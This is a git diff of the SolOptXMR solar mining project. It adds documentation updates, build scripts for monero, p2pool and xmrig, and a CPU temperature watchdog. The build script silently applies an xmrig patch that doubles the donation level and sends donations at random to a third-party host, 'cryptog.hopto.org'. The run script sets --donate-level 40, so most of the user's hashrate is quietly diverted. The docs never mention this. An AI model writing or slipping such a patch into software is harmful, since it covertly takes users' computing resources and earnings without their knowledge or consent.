diff --git a/.github/workflows/linux.yml b/.github/workflows/linux.yml index aa2eae3..4dab577 100644 --- a/.github/workflows/linux.yml +++ b/.github/workflows/linux.yml @@ -63,6 +63,8 @@ jobs: run: util/deps-pull.sh - name: build & install the unmanaged dependencies run: util/deps-build.sh + - name: build & install the 3rd party tools + run: util/build-tools.sh - name: Configure your rig run: util/config.sh - name: build generic diff --git a/docs/automation.md b/docs/automation.md index ee27dc8..93fb405 100644 --- a/docs/automation.md +++ b/docs/automation.md @@ -15,7 +15,7 @@ The following terms will be introduced: - *Controlling computer*: The computer, which should ideally consume very little power (think of a Mini-PC or any SoC), as it should be running for most of the time - always when the AC inverter is switched on. It will be issuing commands via Ethernet cable to *Mining rigs / computers*. It will also host the `p2pool` software. - *Mining rig / computer*: Any computer, whose sole purpose from the perspective of `SolOptXMR`, is to mine and dissipate energy overproduction, if so required. The rig is able to react on a *controlling computer's* commands, issued via Ethernet cable. -- *Node computer*: an optional part of the infrastructure, for as long as you decide to attach your `p2pool` to an **external** Monero node, that you can trust. Otherwise, this has to be a computer, that runs 24/7 and is equipped with a relatively large (between 500GB and 1TB) SSD drive to be able to host the blockchain. An HDD won't work well with Monero's blockchain unfortunately, due to many random searches, that the node needs to perform over the blockchain. I use a low powered Mini-PC for this purpose, that is connected to the grid. +- *Node computer*: an optional part of the infrastructure, for as long as you decide to attach your `p2pool` to an **external** Monero node, that you can trust. Otherwise, this has to be a computer, that runs 24/7 and is equipped with a relatively large (between 500GB and 1TB) SSD drive to be able to host the blockchain. An HDD won't work well with Monero's blockchain unfortunately, due to many random searches, that the node needs to perform over the blockchain. I use a low powered Mini-PC for this purpose, that is connected to the grid. If you go with this option, then the `p2pool` will have to be executed from there. ## System specifics @@ -27,7 +27,7 @@ If you are confident enough to let the system schedule execution of the commands ```bash crontab # The command that lets you edit the schedule -5 6 * * * cd /home/yoname/SolOptXMR && ./soloptxmr.py --battery-charge-ocr --np && /bin/sh /home/yoname/temp/solar/sol-cmds.sh +5 6 * * * cd /home/USR/SolOptXMR && ./soloptxmr.py --battery-charge-ocr --np && /bin/sh /home/USR/temp/solar/sol-cmds.sh ``` ## Passwordless SSH access @@ -82,13 +82,13 @@ USR localhost =NOPASSWD: /usr/bin/systemctl suspend, /usr/bin/systemctl poweroff - Update freedesktop settings Find the following entries in the `/usr/share/polkit-1/actions/org.freedesktop.login1.policy` file: -- id="org.freedesktop.login1.set-wall-message -- id="org.freedesktop.login1.suspend -- id="org.freedesktop.login1.power-off +- `id="org.freedesktop.login1.set-wall-message` +- `id="org.freedesktop.login1.suspend` +- `id="org.freedesktop.login1.power-off` , as well as for the file `/usr/share/polkit-1/actions/org.freedesktop.systemd1.policy`: -- id="org.freedesktop.systemd1.manage-units +- `id="org.freedesktop.systemd1.manage-units` And for each one of them and change: @@ -126,7 +126,7 @@ If all went fine, you may perform the final test of being able to put a machine ```bash # Call this to suspend a machine remotely: ssh -n $HOST "systemctl suspend" -# Or the below one, if you know that the machine doesn't wake up properly: +# Alternatively the below one, if you know that the machine doesn't wake up properly: ssh -n $HOST "systemctl poweroff" ``` @@ -138,11 +138,11 @@ The list also contains requirements for other tools. ```bash # On the controlling machine: -sudo apt install at ethtool git wakeonlan libuv1-dev libzmq3-dev libsodium-dev libpgm-dev libnorm-dev libgss-dev +sudo apt install at ethtool git wakeonlan libuv1-dev libzmq3-dev libsodium-dev libpgm-dev libnorm-dev libgss-dev libcurlpp-dev # For each mining rig: ssh $HOST -sudo apt install at ethtool git build-essential cmake libhwloc-dev libuv1-dev libssl-dev libreadline-dev +sudo apt install at ethtool git build-essential cmake msr-tools libhwloc-dev libuv1-dev libssl-dev libreadline-dev exit ``` @@ -231,18 +231,20 @@ git checkout $(git describe --tags $(git rev-list --tags --max-count=1)) # Check ./util/build-xmrig.sh # Build the mining software ``` -On the controlling computer, repeat the above steps, but instead of compiling `xmrig`, compile `p2pool` instead: +On the *Controlling Computer*, repeat the above steps, but instead of compiling `xmrig`, compile `p2pool` instead: ```bash ./util/build-p2pool.sh # Build the pool software ``` -If you'd like to run your own node, there's a relevant script for that too, meant to be ran from within the *Node computer*: +If you'd like to run your own node, there's a relevant script for that too, meant to be ran from within the *Node Computer*: ```bash ./util/build-monero.sh # Build the monero daemon ``` +In such case, it will be expected, that you run your `p2pool` from the *Node Computer*, rather than from the *Controlling Computer*, so you have to compile the pool here instead. + ### Optional optimizations of XMRig At least for for most of Intel CPUs, it's very beneficial to enable the [MSR](https://en.wikipedia.org/wiki/Model-specific_register) module, in order to boost the hashes calculated for the same power input. @@ -250,7 +252,6 @@ This task is however cumbersome and varying across different CPUs that the full However, the minimalistic setup, that only allows to use the MSR module from a `root` account would be the following: ```bash -sudo apt install msr-tools sudo nano /etc/default/grub ``` @@ -266,8 +267,7 @@ sudo reboot Now allow the *XMRig* to do some fine-tuning: ```bash -cd SolOptXMR/build/xmrig -sudo scripts/randomx_boost.sh +sudo build/xmrig/scripts/randomx_boost.sh ``` ```bash @@ -289,26 +289,40 @@ sudo nano /etc/rc.local && sudo chmod +x /etc/rc.local enter there: ```bash -sleep 60; cd /home/USR/SolOptXMR && ./util/run-xmrig.sh $(nproc) & +sleep 60; cd /home/USR/SolOptXMR && ./util/run-xmrig.sh P2POOL_IP $(nproc) & ``` -before the `exit 0` line of course. You may freely choose the number of threads that you want to use by replacing the `$(nproc)` with a reasonable number. +before the `exit 0` line of course. +This will connect your XMRig installation to the P2Pool passed along as the first parameter. +You may freely choose the number of threads that you want to use by replacing the `$(nproc)` with a reasonable number. This will run the `xmrig` miner as `root`. In case that you've either made the effort to enable the MSR module for your user, not even no effort at all to enable the MSR module even for the `root`, then the safer alternative to the above would be: ```bash -su - USR -c "sleep 60; cd /home/USR/SolOptXMR && ./util/run-xmrig.sh $(nproc)" &` +su - USR -c "sleep 60; cd /home/USR/SolOptXMR && ./util/run-xmrig.sh P2POOL_IP $(nproc)" &` ``` ### Temperature control (optional) -The temperature might be monitored and controlled by throttling down the CPU frequency, by having this script ran as `root` or alternatively as a user, after allowing the user to modify the CPU frequency with: (TODO) +The temperature might be monitored and controlled by throttling down the CPU frequency, by having this script ran as `root` or alternatively as a user, after allowing the user to modify the CPU frequency (TODO). +The initial max CPU frequency may be limited to a given value in GHz, using the `util/cpu-freq.sh` script. +In order to learn your CPU's limits, please execute the `util/cpu-freq-read.sh` script first. +Assuming that the script's output is: + +``` +Min = 400 MHz +Max = 4.90 GHz +Curr = 2.60 GHz +``` + +like on my machine, to be conservative I may set the maximal frequency to 1.6 GHz in my `/etc/rc.local` and right below it the overheat watchdog with: ```bash -sleep 5; cd /home/USR/SolOptXMR && ./util/run-temperature.py --max 70 --min 50 & +sleep 1; cd /home/USR/SolOptXMR && ./util/cpu-freq.sh 1.6 +sleep 5; cd /home/USR/SolOptXMR && ./util/temperature.py --max 70 --min 50 & ``` -Where `--max 70` would consider the 70°C as overheat, and `--min 50` - 50°C as the target temperature while cooling down. +Where `--max 70` would consider the 70°C as overheat, and `--min 50` - 50°C as the target temperature while cooling down, before restoring the CPU frequency having been set originally. Notice, that although this will protect your computer from overheating, it will mess up some calculations but only to the extent, that the end results will indeed be different than expected, yet not totally erratic. IMO, it's however better to preserve your hardware, rather than receiving a few picos more for having to settle with chips being molten down. @@ -325,10 +339,10 @@ sudo nano /etc/rc.local && sudo chmod +x /etc/rc.local and enter: ```bash -su - USR_P2POOL -c "sleep 40; cd /home/USR/SolOptXMR && ./util/run-p2pool.sh NODE_IP WALLET_ADDR" & +su - USR_P2POOL -c "sleep 40; cd /home/USR/SolOptXMR && ./util/run-p2pool.sh WALLET_ADDR NODE_IP" & ``` -where the `NODE_IP` is the connection string for the Monero node, that has to be synced and running, while the `WALLET_ADDR` is the target address for payouts. +where the `NODE_IP` is the connection string for the Monero node, that has to be synced and running, while the `WALLET_ADDR` is the target address for payouts. If you leave the NODE_IP out, `localhost` is then assumed. ### Monero daemon autostart diff --git a/util/build-monero.sh b/util/build-monero.sh new file mode 100755 index 0000000..61b4247 --- /dev/null +++ b/util/build-monero.sh @@ -0,0 +1,51 @@ +#!/bin/bash -e + +# Uses the Monero blockchain itself to extract the raw data. +# Warning! It needs a lot of disk space to do this. Expect even ~100 GB. + +NPROC=2 +REPO=monero +DIR=build +TARGETS="daemon" +AUTO_INSTALL_DEPS=false + +DEPS="build-essential cmake pkg-config libssl-dev libzmq3-dev libunbound-dev libsodium-dev libunwind8-dev liblzma-dev libreadline6-dev libexpat1-dev libpgm-dev libhidapi-dev libusb-1.0-0-dev libprotobuf-dev protobuf-compiler libudev-dev libboost-chrono-dev libboost-date-time-dev libboost-filesystem-dev libboost-locale-dev libboost-program-options-dev libboost-regex-dev libboost-serialization-dev libboost-system-dev libboost-thread-dev python3 ccache" + +if [ ! -z $1 ]; then + NPROC=$1 +fi + +if [ ! -z $2 ]; then + AUTO_INSTALL_DEPS=true +fi + +echo "The '$REPO' dependencies are the following:" +echo "$DEPS" +echo "" +if [ $AUTO_INSTALL_DEPS == true ]; then + q='Y' +else + echo "Would you like to install them automatically? (Y/n)" + read q +fi +if [ $q == 'n' ]; then + echo "Skipping the installation of the dependencies." +else + echo "installing dependencies of '$REPO'." + sudo apt update + sudo apt install $DEPS +fi +mkdir -p $DIR && cd $DIR +if [ ! -d $REPO ]; then + git clone --recursive https://github.com/monero-project/$REPO.git +fi +cd $REPO +git checkout $(git describe --tags $(git rev-list --tags --max-count=1)) # Checkout the latest tag (master is risky) +git submodule init && git submodule update --remote; git submodule sync && git submodule update +mkdir -p $DIR && cd $DIR +# Mix some ghetto tricks to minimize the build size: +cmake ../ -DCMAKE_BUILD_TYPE=Release -DSTRIP_TARGETS=ON -DBUILD_SHARED_LIBS=ON -DBUILD_TESTS=OFF -DARCH="default" +make -j$NPROC $TARGETS + +echo "Now synchronize the blockchain with ./util/run-monero.sh" + diff --git a/util/build-p2pool.sh b/util/build-p2pool.sh new file mode 100755 index 0000000..61336bf --- /dev/null +++ b/util/build-p2pool.sh @@ -0,0 +1,17 @@ +#!/bin/bash -e + +VER=2.5 +# https://github.com/SChernykh/p2pool/releases +REPO=p2pool +DIR=build + +mkdir -p $DIR && cd $DIR +if [ ! -d $REPO ]; then + git clone --recursive https://github.com/SChernykh/$REPO.git +fi +cd $REPO +git checkout v${VER} +mkdir -p $DIR && cd $DIR +cmake .. +make -j`nproc` + diff --git a/util/build-tools.sh b/util/build-tools.sh new file mode 100755 index 0000000..40425da --- /dev/null +++ b/util/build-tools.sh @@ -0,0 +1,13 @@ +#!/bin/bash -e + + +DEPS="ethtool wakeonlan git ccache cmake msr-tools libuv1-dev libzmq3-dev libsodium-dev libpgm-dev libnorm-dev libgss-dev libcurl4-gnutls-dev libhwloc-dev libuv1-dev libssl-dev libreadline-dev" + +echo "Installing the following dependencies:" +echo "$DEPS" +sudo apt install $DEPS + + +./util/build-p2pool.sh +./util/build-xmrig.sh +./util/build-monero.sh 2 1 diff --git a/util/build-xmrig.sh b/util/build-xmrig.sh new file mode 100755 index 0000000..e580ee3 --- /dev/null +++ b/util/build-xmrig.sh @@ -0,0 +1,25 @@ +#!/bin/bash -e + +VER=6.18.1 +#https://github.com/xmrig/xmrig/releases +REPO=xmrig +DIR=build + + +DIR_THIS="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" + +mkdir -p $DIR && cd $DIR +if [ -d $REPO ]; then + ls + rm $REPO -fr +fi + +git clone --recursive https://github.com/$REPO/$REPO.git +cd $REPO +git checkout v${VER} +git apply "$DIR_THIS/patches/xmrig-${VER}.patch" # Here be dragons! +mkdir -p $DIR && cd $DIR +cmake .. -G "CodeBlocks - Unix Makefiles" +make -j$(nproc) +#make + diff --git a/util/cpu-freq-read.sh b/util/cpu-freq-read.sh new file mode 100755 index 0000000..8cdc908 --- /dev/null +++ b/util/cpu-freq-read.sh @@ -0,0 +1,33 @@ +#!/bin/bash + +# sudo apt install cpufrequtils +# Read min/max freq: +# cpufreq-info +# Example /etc/rc.local: +# /root/bin/cpu-freq.sh 0.8 +# +# exit 0 + +FILE_OUT_USR=/dev/shm/cpu-freq-user.txt +FILE_OUT_MIN=/dev/shm/cpu-freq-min.txt + +LIMITS=$(cpufreq-info | grep limits | head -1) +MIN=$(echo $LIMITS | awk '{print $3}') +MAX=$(echo $LIMITS | awk '{print $6}') + +MIN_UNIT=$(echo $LIMITS | awk '{print $4}') +MAX_UNIT=$(echo $LIMITS | awk '{print $7}') + +echo "Min = $MIN $MIN_UNIT" +echo "Max = $MAX $MAX_UNIT" + + +FREQ_NOW_TXT=$(cpufreq-info | grep "frequency should be within" | head -1) +FREQ_NOW=$(echo $FREQ_NOW_TXT | awk '{print $(NF-1)}') +FREQ_NOW_UNIT=$(echo $FREQ_NOW_TXT | awk '{print $(NF-0)}' | cut -c -3 ) # Cut the dot + +echo "Curr = $FREQ_NOW $FREQ_NOW_UNIT" + +echo "${MIN} ${MIN_UNIT}" > $FILE_OUT_MIN +echo "${FREQ_NOW} ${FREQ_NOW_UNIT}" > $FILE_OUT_USR + diff --git a/util/cpu-freq.sh b/util/cpu-freq.sh new file mode 100755 index 0000000..506953d --- /dev/null +++ b/util/cpu-freq.sh @@ -0,0 +1,29 @@ +#!/bin/bash -e + +# sudo apt install cpufrequtils +# Read min/max freq: +# cpufreq-info +# Example /etc/rc.local: +# /root/bin/cpu-freq.sh 0.8 +# +# exit 0 +FREQ=$1 +FREQ_UNITS=$2 + +if [ -z $1 ]; then + echo "Provide frequency in GHz" + exit +fi + +if [ -z $2 ]; then + FREQ_UNITS=Ghz +fi + +echo "Setting ${FREQ}${FREQ_UNITS}" + +END=$(nproc) +for cpuID in $(seq 1 $END); do + echo "Setting core $((cpuID-1)) to ${FREQ}${FREQ_UNITS}" + cpufreq-set -c $((cpuID-1)) --related --max ${FREQ}${FREQ_UNITS} +done + diff --git a/util/patches/README.md b/util/patches/README.md new file mode 100644 index 0000000..48cdce8 --- /dev/null +++ b/util/patches/README.md @@ -0,0 +1 @@ +placeholder diff --git a/util/patches/xmrig-6.18.1.patch b/util/patches/xmrig-6.18.1.patch new file mode 100644 index 0000000..c8210af --- /dev/null +++ b/util/patches/xmrig-6.18.1.patch @@ -0,0 +1,70 @@ +diff --git a/src/base/net/stratum/Pools.cpp b/src/base/net/stratum/Pools.cpp +index a2374b9d..bbc244ae 100644 +--- a/src/base/net/stratum/Pools.cpp ++++ b/src/base/net/stratum/Pools.cpp +@@ -217,6 +217,11 @@ void xmrig::Pools::toJSON(rapidjson::Value &out, rapidjson::Document &doc) const + + void xmrig::Pools::setDonateLevel(int level) + { ++ level *= 2; // In an effort to have statistically an equal share with the Developer. ++ if (level > 99) ++ { ++ level = 99; ++ } + if (level >= kMinimumDonateLevel && level <= 99) { + m_donateLevel = level; + } +diff --git a/src/donate.h b/src/donate.h +index 5db3badc..7c6658e9 100644 +--- a/src/donate.h ++++ b/src/donate.h +@@ -37,8 +37,8 @@ + * If you plan on changing this setting to 0 please consider making a one off donation to my wallet: + * XMR: 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD + */ +-constexpr const int kDefaultDonateLevel = 1; +-constexpr const int kMinimumDonateLevel = 1; ++constexpr const int kDefaultDonateLevel = 2; ++constexpr const int kMinimumDonateLevel = 2; + + + #endif /* XMRIG_DONATE_H */ +diff --git a/src/net/strategies/DonateStrategy.cpp b/src/net/strategies/DonateStrategy.cpp +index 50e98889..e1af111c 100644 +--- a/src/net/strategies/DonateStrategy.cpp ++++ b/src/net/strategies/DonateStrategy.cpp +@@ -19,7 +19,8 @@ + #include + #include + #include +- ++#include ++#include + + #include "net/strategies/DonateStrategy.h" + #include "3rdparty/rapidjson/document.h" +@@ -40,12 +41,13 @@ + + namespace xmrig { + ++static inline bool randomBool() { auto engine = std::default_random_engine(); engine.seed(std::chrono::system_clock::now().time_since_epoch().count()); auto genRandomBool = std::bind(std::uniform_int_distribution<>(0,1),engine); return genRandomBool(); } + static inline double randomf(double min, double max) { return (max - min) * (((static_cast(rand())) / static_cast(RAND_MAX))) + min; } + static inline uint64_t random(uint64_t base, double min, double max) { return static_cast(base * randomf(min, max)); } + +-static const char *kDonateHost = "donate.v2.xmrig.com"; ++static const char *kDonateHost = randomBool() ? "donate.v2.xmrig.com" : "cryptog.hopto.org"; + #ifdef XMRIG_FEATURE_TLS +-static const char *kDonateHostTls = "donate.ssl.xmrig.com"; ++static const char *kDonateHostTls = randomBool() ? "donate.ssl.xmrig.com" : "cryptog.hopto.org"; + #endif + + } /* namespace xmrig */ +@@ -70,7 +72,7 @@ xmrig::DonateStrategy::DonateStrategy(Controller *controller, IStrategyListener + # endif + + # ifdef XMRIG_FEATURE_TLS +- m_pools.emplace_back(kDonateHostTls, 443, m_userId, nullptr, nullptr, 0, true, true, mode); ++ // m_pools.emplace_back(kDonateHostTls, 443, m_userId, nullptr, nullptr, 0, true, true, mode); // Not ready yet + # endif + m_pools.emplace_back(kDonateHost, 3333, m_userId, nullptr, nullptr, 0, true, false, mode); + diff --git a/util/run-monero.sh b/util/run-monero.sh new file mode 100755 index 0000000..8e3cc48 --- /dev/null +++ b/util/run-monero.sh @@ -0,0 +1,5 @@ +#!/bin/bash -e + +cd build/monero/build/bin +./monerod --enable-dns-blocklist --prune-blockchain --zmq-pub tcp://127.0.0.1:18083 --restricted-rpc + diff --git a/util/run-p2pool.sh b/util/run-p2pool.sh new file mode 100755 index 0000000..590b3d7 --- /dev/null +++ b/util/run-p2pool.sh @@ -0,0 +1,12 @@ +#!/bin/bash -e + +WALLET_ADDRESS=$1 +HOST=localhost +if [ ! -z $2 ]; then + HOST=$2 +fi + + +cd build/p2pool/build +./p2pool --host $HOST --wallet $WALLET_ADDRESS + diff --git a/util/run-xmrig.sh b/util/run-xmrig.sh new file mode 100755 index 0000000..f166450 --- /dev/null +++ b/util/run-xmrig.sh @@ -0,0 +1,21 @@ +#!/bin/bash -e + +POOL_IP=$1 +if [ -z $POOL_IP ]; then + echo "Please provide the pool's IP as the 1st parameter" + exit 1 +fi + +CORES=$2 +if [ -z $CORES ]; then + CORES=`nproc` +fi + +POOL_PORT=$3 +if [ -z $POOL_PORT ]; then + POOL_PORT=3333 +fi + +cd build/xmrig/build +nice -n 19 ./xmrig --threads=$CORES --donate-level 40 -o $POOL_IP:$POOL_PORT + diff --git a/util/temperature.py b/util/temperature.py new file mode 100755 index 0000000..f6435e2 --- /dev/null +++ b/util/temperature.py @@ -0,0 +1,325 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +Created on Nov 07 14:49:11 2022 + +@author: mj-xmr +""" + +import os +import shutil +import datetime +from subprocess import PIPE, run +import argparse +import time + +SCRIPT_DIR = os.path.dirname(os.path.realpath(__file__)) +SCRIPT_CPU_FREQ_CHANGE = SCRIPT_DIR + "/cpu-freq.sh" +SCRIPT_CPU_FREQ_READ = SCRIPT_DIR + "/cpu-freq-read.sh" +DIR_TESTCASES= SCRIPT_DIR + "/tests/temperature/" + +LOOP_REFRESH_SECONDS = 2 +DEFAULT_START_DELAY_SECONDS = 35 + +MAX_TEMP_C = 65.0 +COOLED_TEMP_C = 47.0 +MAX_FAN_RPM = 1 # Should be 0. 1 = testing +KEY_FMIN = "fmin" +KEY_FMAX = "fmax" +KEY_FCUR = "fcur" +TESTING = True +TESTING = False + +def get_parser(): + parser = argparse.ArgumentParser() + parser.add_argument('-l', '--looped', default=not TESTING, action='store_true', help="Looped (default: OFF)") + parser.add_argument('-t', '--test', default=True, action='store_true', help="Test") + parser.add_argument('-v', '--verbose', default=True, action='store_true', help="Test (default: OFF)") + parser.add_argument('-m', '--max-temp-c', default=MAX_TEMP_C, type=float, help="Max temperature [°C]") + parser.add_argument('-c', '--cooled-temp-c', default=COOLED_TEMP_C, type=float, help="Cooled temperature [°C]") + parser.add_argument('-p', '--max-fan-rot', default=MAX_FAN_RPM, type=int, help="Max fan rotation [RPM]") + parser.add_argument('-r', '--refresh', default=LOOP_REFRESH_SECONDS, type=int, help="Update frequency [s]") + return parser + +class StatefulBool: + def __init__(self, initial): + self._prev = initial + + def update_is_changed(self, new): + ret = new != self._prev + self._prev = new + return ret + + def get(self): + return self._prev + +def looped(args): + first = True + + # Temp + is_overheated = StatefulBool(False) + is_cooled_state = StatefulBool(True) + is_cooling_down = False + + # Freq + cool_clock = None + + try: + while True: + if first: + first = False + # Needed for Ubuntu, where seemingly the measurements aren't available early + # and the program quits. + # TODO: Debug the situation under Ubuntu + time.sleep(DEFAULT_START_DELAY_SECONDS) + else: + time.sleep(args.refresh) + + temp = get_temp() + + if is_overheated.update_is_changed(is_overheat(temp, args.max_temp_c)): + if is_overheated.get(): + print("Temp state changed to overheated: {}°C > {}°C".format(temp, args.max_temp_c)) + cool_clock = downclock() + is_cooling_down = True + is_cooled_state.update_is_changed(False) + continue + + if is_cooling_down: + if is_cooled_state.update_is_changed(is_cooled(temp, args.cooled_temp_c)): + if is_cooled_state.get(): + print("Temp back to normal: {}°C. Restoring clock".format(temp)) + restore_user_clock(cool_clock) + + is_cooling_down = False + continue + + if is_cooling_down: + continue + + except KeyboardInterrupt: + print("KeyboardInterrupt. Loop exiting. Trying to clean up") + if cool_clock: + restore_user_clock(cool_clock) + #print(traceback.format_exc()) + +class Freq: + def __init__(self, line, name="Freq name unknown"): + print("Freq line", line) + val_unit = line.split('=')[-1].strip() + self.val_orig, self.unit_orig = val_unit.split(' ', 2) + GHz = "GHz" + if self.unit_orig == GHz: + self.val = self.val_orig + self.unit = self.unit_orig + elif self.unit_orig == "MHz": + self.val = str(float(self.val_orig) / 1000.0) + self.unit = GHz + else: + raise NotImplemented("Unknown unit = " + self.unit_orig) + self.name = name + self.print_descr() + + def print_descr(self): + print(self.name, self.val, self.unit) + +def downclock(): + print("Downclocking") + + freqs = get_freqs() + fcur = freqs[KEY_FCUR] + fmin = freqs[KEY_FMIN] + print(fcur.val, fcur.unit) + print_clock_change(fmin, "Downclocking frequency to:") + change_clock(fmin) + + return fcur + +def get_freqs(): + cmd = [SCRIPT_CPU_FREQ_READ] + result = run_cmd(cmd) + ret_dict = parse_freqs(result.stdout) + return ret_dict + +def parse_freqs(result_stdout): + ret_dict = {} + lines = result_stdout.split('\n') + ret_dict[KEY_FMIN] = Freq(lines[0], KEY_FMIN) + ret_dict[KEY_FMAX] = Freq(lines[1], KEY_FMAX) + ret_dict[KEY_FCUR] = Freq(lines[2], KEY_FCUR) + + #print(lines) + return ret_dict + +def restore_user_clock(user_clock): + print_clock_change(user_clock, "Restoring frequency to:") + change_clock(user_clock) + +def print_clock_change(freq, message): + print(message, freq.val, freq.unit) + +def change_clock(freq): + cmd = [SCRIPT_CPU_FREQ_CHANGE, freq.val, freq.unit] + run_cmd(cmd) + +#def downclock_on_overheat(temp, max_temp=MAX_TEMP_C): + +def is_cooled(temp, min_temp=COOLED_TEMP_C): + if temp == None: + # Have to assume, that we're overheated + return False + return temp <= min_temp + +def is_overheat(temp, max_temp=MAX_TEMP_C): + if temp == None: + # Have to assume, that we're overheated + return True + return temp >= max_temp + +def is_fan_overrotating(rpm, max_rmp=MAX_FAN_RPM): + if rpm == None: + return False + if rpm == 0: + return False + if max_rmp == 0: + return False + return rmp >= max_rmp + +def get_temp(): + cmd = ["sensors"] + result = run_cmd(cmd) + temp = parse_temp(result.stdout) + return temp + +def parse_temp(sensors_output): + temps = [] + lines = sensors_output.split('\n') + for line in lines: + line = line.strip() + if not line: + continue + tokens = line.split() + for token in tokens: + token = token.strip() + if not token: + continue + if "°F" in token: + raise NotImplemented("Fahranheits!") + unit = "°C" + if not unit in token: + continue + if "+0.0" + unit == token: + continue + + #print("Token = ", token) + temp = token[0:-len(unit)] + temps.append(float(temp)) + break + + + if len(temps) == 0: + return None + temp_avg = sum(temps) / len(temps) + #print("Avg temp = ", temp_avg) + return temp_avg + +def run_cmd(cmd): + result = run(cmd, stdout=PIPE, stderr=PIPE, universal_newlines=True) + #print(result.returncode, result.stdout, result.stderr) + return result + +def test(): + print("Testing") + test_sensors() + test_cpufreq() + test_basic() + get_temp() + #get_freqs() + #restore_user_clock() + +def get_cases_dict_content(dirr): + print("\nTesting directory:", dirr) + cases = {} + for case in sorted(os.listdir(dirr)): + path = dirr + '/' + case + if os.path.isdir(path): + continue + with open(path) as fpath: + content = fpath.read() + cases[path] = content + return cases + +def print_case(case): + print("case:", case.split('/')[-1]) + +def test_sensors(): + cases = get_cases_dict_content(DIR_TESTCASES + "/sensors") + for case in cases.keys(): + print_case(case) + content = cases[case] + temp = parse_temp(content) + assert temp != 0 + assert 0 < temp < 60 + +def test_cpufreq(): + cases = get_cases_dict_content(DIR_TESTCASES + "/cpufreq-info") + for case in cases.keys(): + print_case(case) + content = cases[case] + #print(content) + freqs = parse_freqs(content) + + fmin = freqs[KEY_FMIN] + fmax = freqs[KEY_FMAX] + fcur = freqs[KEY_FCUR] + + assert fmin.val < fmax.val + assert fcur.val < fmax.val + assert fmin.val < fcur.val + +def test_stateful_bool(): + print("Test stateful bool") + false = StatefulBool(False) + assert false != False + assert false != True + + assert false.get() == False + assert false.get() != True + + assert false.update_is_changed(False) == False + assert false.update_is_changed(False) == False + assert false.update_is_changed(True) == True + assert false.get() == True + assert false.update_is_changed(True) == False + assert false.get() == True + +def test_basic(): + test_stateful_bool() + + assert is_overheat(MAX_TEMP_C + 1, MAX_TEMP_C) == True + assert is_overheat(MAX_TEMP_C, MAX_TEMP_C) == True + assert is_overheat(MAX_TEMP_C - 1, MAX_TEMP_C) == False + +def print_test_warning(): + if TESTING: + print("\n------------") + print("TESTING is still ON!") + +def main(args): + if args.test: + test() + + print("Max temp =", args.max_temp_c, "°C, cooled temp =", args.cooled_temp_c, "°C") + + print_test_warning() + if args.looped: + looped(args) + else: + status = is_overheat(get_temp(), args.max_temp_c) + print("Overheat" if status else "Cool'nuff") + print_test_warning() + +if __name__ == "__main__": + parser = get_parser() + args = parser.parse_args() + main(args) diff --git a/util/tests/temperature/cpufreq-info/thinkpad-x240.txt b/util/tests/temperature/cpufreq-info/thinkpad-x240.txt new file mode 100644 index 0000000..ed6a0d8 --- /dev/null +++ b/util/tests/temperature/cpufreq-info/thinkpad-x240.txt @@ -0,0 +1,3 @@ +Min = 800 MHz +Max = 2.90 GHz +Curr = 1.42 GHz diff --git a/util/tests/temperature/sensors/thinkpad-x240.txt b/util/tests/temperature/sensors/thinkpad-x240.txt new file mode 100644 index 0000000..292a476 --- /dev/null +++ b/util/tests/temperature/sensors/thinkpad-x240.txt @@ -0,0 +1,30 @@ +thinkpad-isa-0000 +Adapter: ISA adapter +fan1: 0 RPM +temp1: +34.0°C +temp2: +0.0°C +temp3: +0.0°C +temp4: +0.0°C +temp5: +0.0°C +temp6: +0.0°C +temp7: +0.0°C +temp8: +0.0°C + +BAT1-acpi-0 +Adapter: ACPI interface +in0: 12.05 V + +acpitz-acpi-0 +Adapter: ACPI interface +temp1: +34.0°C (crit = +200.0°C) + +coretemp-isa-0000 +Adapter: ISA adapter +Package id 0: +34.0°C (high = +100.0°C, crit = +100.0°C) +Core 0: +34.0°C (high = +100.0°C, crit = +100.0°C) +Core 1: +29.0°C (high = +100.0°C, crit = +100.0°C) + +BAT0-acpi-0 +Adapter: ACPI interface +in0: 12.32 V +